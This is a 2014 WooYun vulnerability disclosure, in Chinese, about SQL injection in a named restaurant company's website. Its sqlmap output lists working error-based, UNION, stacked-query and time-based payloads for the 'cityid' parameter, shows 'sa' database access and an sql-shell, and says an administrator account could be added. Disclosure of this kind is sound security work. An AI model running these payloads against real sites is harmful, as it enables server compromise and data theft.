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缺陷编号：wooyun-2014-054003

漏洞标题：味捷餐饮有限公司官网存在注入漏洞致服务器沦陷

相关厂商：400712312。com

漏洞作者： follow me

提交时间：2014-04-01 11:15

修复时间：2014-04-06 11:16

公开时间：2014-04-06 11:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2014-04-01： 细节已通知厂商并且等待厂商处理中
2014-04-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

味捷餐饮有限公司官网存在注入漏洞致服务器沦陷

详细说明：

http://www.4007123123.com/userhome/ajax/getaddressbase.aspx?cityid=1存在sql注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cityid
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: cityid=1' AND 4512=CONVERT(INT,(CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+(SELECT (CASE WHEN (4512=4512) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58))) AND 'Vtfi'='Vtfi
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: cityid=1' UNION ALL SELECT NULL,CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+CHAR(89)+CHAR(82)+CHAR(109)+CHAR(72)+CHAR(85)+CHAR(71)+CHAR(88)+CHAR(73)+CHAR(65)+CHAR(87)+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: cityid=1'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: cityid=1' WAITFOR DELAY '0:0:5'--
---
[13:49:15] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005


用户 sa

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: cityid
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: cityid=1' AND 4512=CONVERT(INT,(CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+(SELECT (CASE WHEN (4512=4512) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58))) AND 'Vtfi'='Vtfi
    Type: UNION query
    Title: Generic UNION query (NULL) - 17 columns
    Payload: cityid=1' UNION ALL SELECT NULL,CHAR(58)+CHAR(110)+CHAR(114)+CHAR(118)+CHAR(58)+CHAR(89)+CHAR(82)+CHAR(109)+CHAR(72)+CHAR(85)+CHAR(71)+CHAR(88)+CHAR(73)+CHAR(65)+CHAR(87)+CHAR(58)+CHAR(108)+CHAR(120)+CHAR(118)+CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: cityid=1'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: cityid=1' WAITFOR DELAY '0:0:5'--
---
[13:44:55] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[13:44:55] [INFO] fetching current user
current user:    'sa'


sql-shell下可添加服务器管理员用户：

[13:56:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[13:56:52] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell>


漏洞证明：

1.jpg


2.jpg


3.jpg


修复方案：

服务器沦陷原因：
1:存在sql注入，sa未降权，sqlserver运行在system权限下
尽快修复吧

版权声明：转载请注明来源 follow me@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-04-06 11:16

厂商回复：

最新状态：

暂无